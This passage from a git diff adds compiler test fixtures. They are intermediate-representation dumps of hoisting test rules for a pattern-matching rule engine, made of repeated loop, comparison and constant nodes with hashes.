index: 5 }, type_value: integer(unknown) } + 150: CONST integer(29) + 152: CONST integer(10) + 158: EQ -- hash: 0x3cc3f433964e24d6 + 156: ADD -- hash: 0xa94e289f3d21c4f8 + 154: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 155: CONST integer(30) + 157: CONST integer(10) + 163: EQ -- hash: 0x28ef0d776b36e92e + 161: ADD -- hash: 0x5207b34650e69ae4 + 159: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 160: CONST integer(31) + 162: CONST integer(10) + 168: EQ -- hash: 0x151a26bb3c1fad86 + 166: ADD -- hash: 0xfac13ded64ab70cf + 164: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 165: CONST integer(32) + 167: CONST integer(10) + 173: EQ -- hash: 0x1453fff110871de + 171: ADD -- hash: 0xa37ac894787046bb + 169: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 170: CONST integer(33) + 172: CONST integer(10) + 178: EQ -- hash: 0xed705942e5f13635 + 176: ADD -- hash: 0x4c34533b8c351ca7 + 174: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 175: CONST integer(34) + 177: CONST integer(10) + 183: EQ -- hash: 0xd99b7286bad9fa8d + 181: ADD -- hash: 0xf4eddde2a3f9f292 + 179: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 180: CONST integer(35) + 182: CONST integer(10) + 188: EQ -- hash: 0xc5c68bca8fc2bee5 + 186: ADD -- hash: 0x9da76889b7bec87e + 184: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 185: CONST integer(36) + 187: CONST integer(10) + 193: EQ -- hash: 0xb1f1a50e60ab833d + 191: ADD -- hash: 0x4660f330cb839e6a + 189: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 190: CONST integer(37) + 192: CONST integer(10) + 198: EQ -- hash: 0x9e1cbe5235944795 + 196: ADD -- hash: 0xef1a7dd7df487455 + 194: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 195: CONST integer(38) + 197: CONST integer(10) + 203: EQ -- hash: 0x8a47d7960a7d0bed + 201: ADD -- hash: 0x97d4087ef30d4a41 + 199: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 200: CONST integer(39) + 202: CONST integer(10) + 208: EQ -- hash: 0x7672f0d9df65d045 + 206: ADD -- hash: 0x408d932606d2202d + 204: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 205: CONST integer(40) + 207: CONST integer(10) + 213: EQ -- hash: 0x629e0a1db04e949d + 211: ADD -- hash: 0xe9471dcd1a96f618 + 209: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 210: CONST integer(41) + 212: CONST integer(10) + 218: EQ -- hash: 0x4ec92361853758f5 + 216: ADD -- hash: 0x9200a8742e5bcc04 + 214: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 215: CONST integer(42) + 217: CONST integer(10) + 223: EQ -- hash: 0x3af43ca55a201d4d + 221: ADD -- hash: 0x3aba331b4220a1f0 + 219: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 220: CONST integer(43) + 222: CONST integer(10) + 228: EQ -- hash: 0x271f55e92f08e1a5 + 226: ADD -- hash: 0xe373bdc255e577db + 224: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 225: CONST integer(44) + 227: CONST integer(10) + 233: EQ -- hash: 0x134a6f2d03f1a5fd + 231: ADD -- hash: 0x8c2d486969aa4dc7 + 229: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 230: CONST integer(45) + 232: CONST integer(10) + 238: EQ -- hash: 0xff758870d4da6a54 + 236: ADD -- hash: 0x34e6d3107d6f23b3 + 234: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 235: CONST integer(46) + 237: CONST integer(10) + 243: EQ -- hash: 0xeba0a1b4a9c32eac + 241: ADD -- hash: 0xdda05db79133f99e + 239: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 240: CONST integer(47) + 242: CONST integer(10) + 248: EQ -- hash: 0xd7cbbaf87eabf304 + 246: ADD -- hash: 0x8659e85ea4f8cf8a + 244: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 245: CONST integer(48) + 247: CONST integer(10) + 253: EQ -- hash: 0xc3f6d43c5394b75c + 251: ADD -- hash: 0x2f137305b8bda576 + 249: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 250: CONST integer(49) + 252: CONST integer(10) + 258: EQ -- hash: 0xb021ed80247d7bb4 + 256: ADD -- hash: 0xd7ccfdaccc827b61 + 254: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 255: CONST integer(50) + 257: CONST integer(10) + 263: EQ -- hash: 0x9c4d06c3f966400c + 261: ADD -- hash: 0x80868853e047514d + 259: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 260: CONST integer(51) + 262: CONST integer(10) + 268: EQ -- hash: 0x88782007ce4f0464 + 266: ADD -- hash: 0x294012faf40c2739 + 264: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 265: CONST integer(52) + 267: CONST integer(10) + 273: EQ -- hash: 0x74a3394ba337c8bc + 271: ADD -- hash: 0xd1f99da20bd0fd24 + 269: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 270: CONST integer(53) + 272: CONST integer(10) + 278: EQ -- hash: 0x60ce528f74208d14 + 276: ADD -- hash: 0x7ab328491f95d310 + 274: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 275: CONST integer(54) + 277: CONST integer(10) + 283: EQ -- hash: 0x4cf96bd34909516c + 281: ADD -- hash: 0x236cb2f0335aa8fc + 279: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 280: CONST integer(55) + 282: CONST integer(10) + 288: EQ -- hash: 0x392485171df215c4 + 286: ADD -- hash: 0xcc263d97471f7ee7 + 284: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 285: CONST integer(56) + 287: CONST integer(10) + 293: EQ -- hash: 0x254f9e5af2dada1c + 291: ADD -- hash: 0x74dfc83e5ae454d3 + 289: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 290: CONST integer(57) + 292: CONST integer(10) + 298: EQ -- hash: 0x117ab79ec7c39e74 + 296: ADD -- hash: 0x1d9952e56ea92abf + 294: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 295: CONST integer(58) + 297: CONST integer(10) + 303: EQ -- hash: 0xfda5d0e298ac62cb + 301: ADD -- hash: 0xc652dd8c826e00aa + 299: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 300: CONST integer(59) + 302: CONST integer(10) + 308: EQ -- hash: 0xe9d0ea266d952723 + 306: ADD -- hash: 0x6f0c68339632d696 + 304: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 305: CONST integer(60) + 307: CONST integer(10) + 313: EQ -- hash: 0xd5fc036a427deb7b + 311: ADD -- hash: 0x17c5f2daa9f7ac82 + 309: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 310: CONST integer(61) + 312: CONST integer(10) + 318: EQ -- hash: 0xc2271cae1766afd3 + 316: ADD -- hash: 0xc07f7d81bdbc826d + 314: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 315: CONST integer(62) + 317: CONST integer(10) + 323: EQ -- hash: 0xae5235f1e84f742b + 321: ADD -- hash: 0x69390828d1815859 + 319: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 320: CONST integer(63) + 322: CONST integer(10) + 328: EQ -- hash: 0x9a7d4f35bd383883 + 326: ADD -- hash: 0x11f292cfe5462e45 + 324: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 325: CONST integer(64) + 327: CONST integer(10) + 333: EQ -- hash: 0x86a868799220fcdb + 331: ADD -- hash: 0xbaac1d76f90b0430 + 329: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 330: CONST integer(65) + 332: CONST integer(10) + 338: EQ -- hash: 0x72d381bd6709c133 + 336: ADD -- hash: 0x6365a81e0ccfda1c + 334: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 335: CONST integer(66) + 337: CONST integer(10) + 343: EQ -- hash: 0x5efe9b013bf2858b + 341: ADD -- hash: 0xc1f32c52094b008 + 339: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 340: CONST integer(67) + 342: CONST integer(10) + 348: EQ -- hash: 0x4b29b4450cdb49e3 + 346: ADD -- hash: 0xb4d8bd6c345985f3 + 344: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 345: CONST integer(68) + 347: CONST integer(10) + 353: EQ -- hash: 0x3754cd88e1c40e3b + 351: ADD -- hash: 0x5d924813481e5bdf + 349: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 350: CONST integer(69) + 352: CONST integer(10) + 358: EQ -- hash: 0x237fe6ccb6acd293 + 356: ADD -- hash: 0x64bd2ba5fe331cb + 354: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 355: CONST integer(70) + 357: CONST integer(10) + 363: EQ -- hash: 0xfab00108b9596eb + 361: ADD -- hash: 0xaf055d6173a807b6 + 359: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 360: CONST integer(71) + 362: CONST integer(10) + 368: EQ -- hash: 0xfbd619545c7e5b42 + 366: ADD -- hash: 0x57bee808876cdda2 + 364: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 365: CONST integer(72) + 367: CONST integer(10) + 373: EQ -- hash: 0xe801329831671f9a + 371: ADD -- hash: 0x7872af9b31b38e + 369: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 370: CONST integer(73) + 372: CONST integer(10) + 378: EQ -- hash: 0xd42c4bdc064fe3f2 + 376: ADD -- hash: 0xa931fd56aef68979 + 374: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 375: CONST integer(74) + 377: CONST integer(10) + 383: EQ -- hash: 0xc057651fdb38a84a + 381: ADD -- hash: 0x51eb87fdc2bb5f65 + 379: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 380: CONST integer(75) + 382: CONST integer(10) + 388: EQ -- hash: 0xac827e63ac216ca2 + 386: ADD -- hash: 0xfaa512a4d6803550 + 384: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 385: CONST integer(76) + 387: CONST integer(10) + 393: EQ -- hash: 0x98ad97a7810a30fa + 391: ADD -- hash: 0xa35e9d4bea450b3c + 389: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 390: CONST integer(77) + 392: CONST integer(10) + 398: EQ -- hash: 0x84d8b0eb55f2f552 + 396: ADD -- hash: 0x4c1827f2fe09e128 + 394: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 395: CONST integer(78) + 397: CONST integer(10) + 403: EQ -- hash: 0x7103ca2f2adbb9aa + 401: ADD -- hash: 0xf4d1b29a11ceb713 + 399: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 400: CONST integer(79) + 402: CONST integer(10) + 408: EQ -- hash: 0x5d2ee372ffc47e02 + 406: ADD -- hash: 0x9d8b3d4125938cff + 404: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 405: CONST integer(80) + 407: CONST integer(10) + 413: EQ -- hash: 0x4959fcb6d0ad425a + 411: ADD -- hash: 0x4644c7e8395862eb + 409: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 410: CONST integer(81) + 412: CONST integer(10) + 418: EQ -- hash: 0x358515faa59606b2 + 416: ADD -- hash: 0xeefe528f4d1d38d6 + 414: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 415: CONST integer(82) + 417: CONST integer(10) + 423: EQ -- hash: 0x21b02f3e7a7ecb0a + 421: ADD -- hash: 0x97b7dd3660e20ec2 + 419: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 420: CONST integer(83) + 422: CONST integer(10) + 428: EQ -- hash: 0xddb48824f678f62 + 426: ADD -- hash: 0x407167dd74a6e4ae + 424: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 425: CONST integer(84) + 427: CONST integer(10) + 433: EQ -- hash: 0xfa0661c6205053b9 + 431: ADD -- hash: 0xe92af284886bba99 + 429: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 430: CONST integer(85) + 432: CONST integer(10) + 438: EQ -- hash: 0xe6317b09f5391811 + 436: ADD -- hash: 0x91e47d2b9c309085 + 434: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 435: CONST integer(86) + 437: CONST integer(10) + 443: EQ -- hash: 0xd25c944dca21dc69 + 441: ADD -- hash: 0x3a9e07d2b3f56671 + 439: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 440: CONST integer(87) + 442: CONST integer(10) + 448: EQ -- hash: 0xbe87ad919f0aa0c1 + 446: ADD -- hash: 0xe3579279c7ba3c5c + 444: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 445: CONST integer(88) + 447: CONST integer(10) + 453: EQ -- hash: 0xaab2c6d573f36519 + 451: ADD -- hash: 0x8c111d20db7f1248 + 449: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 450: CONST integer(89) + 452: CONST integer(10) + 458: EQ -- hash: 0x96dde01944dc2971 + 456: ADD -- hash: 0x34caa7c7ef43e834 + 454: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 455: CONST integer(90) + 457: CONST integer(10) + 463: EQ -- hash: 0x8308f95d19c4edc9 + 461: ADD -- hash: 0xdd84326f0308be1f + 459: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 460: CONST integer(91) + 462: CONST integer(10) + 468: EQ -- hash: 0x6f3412a0eeadb221 + 466: ADD -- hash: 0x863dbd1616cd940b + 464: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 465: CONST integer(92) + 467: CONST integer(10) + 473: EQ -- hash: 0x5b5f2be4c3967679 + 471: ADD -- hash: 0x2ef747bd2a9269f7 + 469: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 470: CONST integer(93) + 472: CONST integer(10) + 478: EQ -- hash: 0x478a4528947f3ad1 + 476: ADD -- hash: 0xd7b0d2643e573fe2 + 474: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 475: CONST integer(94) + 477: CONST integer(10) + 483: EQ -- hash: 0x33b55e6c6967ff29 + 481: ADD -- hash: 0x806a5d0b521c15ce + 479: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 480: CONST integer(95) + 482: CONST integer(10) + 488: EQ -- hash: 0x1fe077b03e50c381 + 486: ADD -- hash: 0x2923e7b265e0ebba + 484: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 485: CONST integer(96) + 487: CONST integer(10) + 493: EQ -- hash: 0xc0b90f4133987d9 + 491: ADD -- hash: 0xd1dd725979a5c1a5 + 489: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 490: CONST integer(97) + 492: CONST integer(10) + 498: EQ -- hash: 0xf836aa37e4224c30 + 496: ADD -- hash: 0x7a96fd008d6a9791 + 494: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 495: CONST integer(98) + 497: CONST integer(10) + 503: EQ -- hash: 0xe461c37bb90b1088 + 501: ADD -- hash: 0x235087a7a12f6d7d + 499: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 500: CONST integer(99) + 502: CONST integer(10) + 508: EQ -- hash: 0xd08cdcbf8df3d4e0 + 506: ADD -- hash: 0xcc0a124eb4f44368 + 504: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 505: CONST integer(100) + 507: CONST integer(10) + 513: EQ -- hash: 0xbcb7f60362dc9938 + 511: ADD -- hash: 0x74c39cf5c8b91954 + 509: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 510: CONST integer(101) + 512: CONST integer(10) + 518: EQ -- hash: 0xa8e30f4737c55d90 + 516: ADD -- hash: 0x1d7d279cdc7def40 + 514: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 515: CONST integer(102) + 517: CONST integer(10) + 523: EQ -- hash: 0x950e288b08ae21e8 + 521: ADD -- hash: 0xc636b243f042c52b + 519: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 520: CONST integer(103) + 522: CONST integer(10) + 528: EQ -- hash: 0x813941cedd96e640 + 526: ADD -- hash: 0x6ef03ceb04079b17 + 524: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 525: CONST integer(104) + 527: CONST integer(10) + diff --git a/lib/src/compiler/ir/tests/testdata/14.hoisting.ir b/lib/src/compiler/ir/tests/testdata/14.hoisting.ir new file mode 100644 index 00000000..18b15ee1 --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/14.hoisting.ir @@ -0,0 +1,642 @@ +RULE test_hoisting_nested + 22: WITH -- hash: 0xf1f8589cad533195 + 21: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 6: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 7: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 24: WITH -- hash: 0xe9d24d3dd581f591 + 23: GT -- hash: 0xab8149e485a34c2f + 8: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 0 }, type_value: integer(unknown) } + 9: CONST integer(0) + 20: FOR_IN -- hash: 0x289160cf1aef79ef + n: Var { frame_id: 1, ty: integer, index: 2 } + i: Var { frame_id: 1, ty: integer, index: 3 } + max_count: Var { frame_id: 1, ty: integer, index: 4 } + count: Var { frame_id: 1, ty: integer, index: 5 } + item: Var { frame_id: 1, ty: unknown, index: 6 } + 0: CONST integer(1) + 1: CONST integer(5) + 26: WITH -- hash: 0x763bda68a15a3784 + 25: EQ -- hash: 0xa2cc855496d2cb96 + 11: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 7 }, type_value: integer(unknown) } + 12: CONST integer(3) + 19: FOR_IN -- hash: 0x30775be1f5466b74 + n: Var { frame_id: 2, ty: integer, index: 10 } + i: Var { frame_id: 2, ty: integer, index: 11 } + max_count: Var { frame_id: 2, ty: integer, index: 12 } + count: Var { frame_id: 2, ty: integer, index: 13 } + item: Var { frame_id: 2, ty: unknown, index: 14 } + 2: CONST integer(1) + 3: CONST integer(5) + 18: FOR_IN -- hash: 0x94349f273d98c626 + n: Var { frame_id: 3, ty: integer, index: 17 } + i: Var { frame_id: 3, ty: integer, index: 18 } + max_count: Var { frame_id: 3, ty: integer, index: 19 } + count: Var { frame_id: 3, ty: integer, index: 20 } + item: Var { frame_id: 3, ty: unknown, index: 21 } + 4: CONST integer(1) + 5: CONST integer(5) + 17: OR -- hash: 0x7a89bd8f25782ecf + 10: SYMBOL Var { var: Var { frame_id: 0, ty: boolean, index: 1 }, type_value: boolean(unknown) } + 13: SYMBOL Var { var: Var { frame_id: 0, ty: boolean, index: 9 }, type_value: boolean(unknown) } + 16: EQ -- hash: 0xd276cd37fd764ffa + 14: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 15 }, type_value: integer(unknown) } + 15: CONST integer(4) + +RULE test_hoisting_with + 13: WITH -- hash: 0xf8fe891269be2ce8 + 0: CONST integer(10) + 15: WITH -- hash: 0xd4d80d750f834956 + 14: EQ -- hash: 0x8d45f5fbc7dba69a + 5: CONST integer(11) + 6: CONST integer(11) + 12: FOR_IN -- hash: 0xbf752fd012ef0394 + n: Var { frame_id: 2, ty: integer, index: 2 } + i: Var { frame_id: 2, ty: integer, index: 3 } + max_count: Var { frame_id: 2, ty: integer, index: 4 } + count: Var { frame_id: 2, ty: integer, index: 5 } + item: Var { frame_id: 2, ty: unknown, index: 6 } + 1: CONST integer(1) + 2: CONST integer(5) + 11: AND -- hash: 0xb1fb77075ac970ed + 7: SYMBOL Var { var: Var { frame_id: 0, ty: boolean, index: 1 }, type_value: boolean(unknown) } + 10: GT -- hash: 0x6bdee0fabb31c209 + 8: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 7 }, type_value: integer(unknown) } + 9: CONST integer(0) + +RULE test_hoisting_field_access + 21: WITH -- hash: 0xbdd327417e085fb8 + 20: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 4: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 5: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } + 23: WITH -- hash: 0x2bdd89b0621abc52 + 22: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 13: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 14: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 25: WITH -- hash: 0x5e8125f5e8c90cc4 + 24: GT -- hash: 0x97ac63285a8c1087 + 15: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 1 }, type_value: integer(unknown) } + 16: CONST integer(0) + 19: FOR_IN -- hash: 0x4552833c8a799f1f + n: Var { frame_id: 1, ty: integer, index: 3 } + i: Var { frame_id: 1, ty: integer, index: 4 } + max_count: Var { frame_id: 1, ty: integer, index: 5 } + count: Var { frame_id: 1, ty: integer, index: 6 } + item: Var { frame_id: 1, ty: unknown, index: 7 } + 0: CONST integer(0) + 3: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 1: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 2: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 18: AND -- hash: 0x5675239764a27d36 + 12: EQ -- hash: 0xa98a2af112833467 + 10: FIELD_ACCESS -- hash: 0xe5b8fd8695fb770c + 8: LOOKUP -- hash: 0xba759ee69162285b + 6: SYMBOL Var { var: Var { frame_id: 0, ty: array, index: 0 }, type_value: array } + 7: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 8 }, type_value: integer(unknown) } + 9: SYMBOL Field { index: 0, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 11: CONST string(".text") + 17: SYMBOL Var { var: Var { frame_id: 0, ty: boolean, index: 2 }, type_value: boolean(unknown) } + +RULE test_hoisting_limit + 532: FOR_IN -- hash: 0x9955d895482ac2dd + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(1) + 1: CONST integer(5) + 531: FOR_IN -- hash: 0x39d3fce9735f69cd + n: Var { frame_id: 2, ty: integer, index: 7 } + i: Var { frame_id: 2, ty: integer, index: 8 } + max_count: Var { frame_id: 2, ty: integer, index: 9 } + count: Var { frame_id: 2, ty: integer, index: 10 } + item: Var { frame_id: 2, ty: unknown, index: 11 } + 2: CONST integer(1) + 3: CONST integer(5) + 530: AND -- hash: 0xa6c67725bbf1ce09 + 8: EQ -- hash: 0x8fb6fe40bf072288 + 6: ADD -- hash: 0xe38fe90ae410b35a + 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 5: CONST integer(0) + 7: CONST integer(10) + 13: EQ -- hash: 0x7be2178493efe6e0 + 11: ADD -- hash: 0x8c4973b1fbd58946 + 9: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 10: CONST integer(1) + 12: CONST integer(10) + 18: EQ -- hash: 0x680d30c864d8ab38 + 16: ADD -- hash: 0x3502fe590f9a5f32 + 14: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 15: CONST integer(2) + 17: CONST integer(10) + 23: EQ -- hash: 0x54384a0c39c16f90 + 21: ADD -- hash: 0xddbc8900235f351d + 19: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 20: CONST integer(3) + 22: CONST integer(10) + 28: EQ -- hash: 0x406363500eaa33e8 + 26: ADD -- hash: 0x867613a737240b09 + 24: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 25: CONST integer(4) + 27: CONST integer(10) + 33: EQ -- hash: 0x2c8e7c93e392f840 + 31: ADD -- hash: 0x2f2f9e4e4ae8e0f5 + 29: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 30: CONST integer(5) + 32: CONST integer(10) + 38: EQ -- hash: 0x18b995d7b47bbc98 + 36: ADD -- hash: 0xd7e928f55eadb6e0 + 34: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 35: CONST integer(6) + 37: CONST integer(10) + 43: EQ -- hash: 0x4e4af1b896480f0 + 41: ADD -- hash: 0x80a2b39c72728ccc + 39: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 40: CONST integer(7) + 42: CONST integer(10) + 48: EQ -- hash: 0xf10fc85f5e4d4547 + 46: ADD -- hash: 0x295c3e43863762b8 + 44: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 45: CONST integer(8) + 47: CONST integer(10) + 53: EQ -- hash: 0xdd3ae1a33336099f + 51: ADD -- hash: 0xd215c8ea99fc38a3 + 49: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 50: CONST integer(9) + 52: CONST integer(10) + 58: EQ -- hash: 0xc965fae7041ecdf7 + 56: ADD -- hash: 0x7acf5391adc10e8f + 54: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 55: CONST integer(10) + 57: CONST integer(10) + 63: EQ -- hash: 0xb591142ad907924f + 61: ADD -- hash: 0x2388de38c185e47b + 59: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 60: CONST integer(11) + 62: CONST integer(10) + 68: EQ -- hash: 0xa1bc2d6eadf056a7 + 66: ADD -- hash: 0xcc4268dfd54aba66 + 64: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 65: CONST integer(12) + 67: CONST integer(10) + 73: EQ -- hash: 0x8de746b282d91aff + 71: ADD -- hash: 0x74fbf386e90f9052 + 69: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 70: CONST integer(13) + 72: CONST integer(10) + 78: EQ -- hash: 0x7a125ff657c1df57 + 76: ADD -- hash: 0x1db57e2dfcd4663e + 74: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 75: CONST integer(14) + 77: CONST integer(10) + 83: EQ -- hash: 0x663d793a28aaa3af + 81: ADD -- hash: 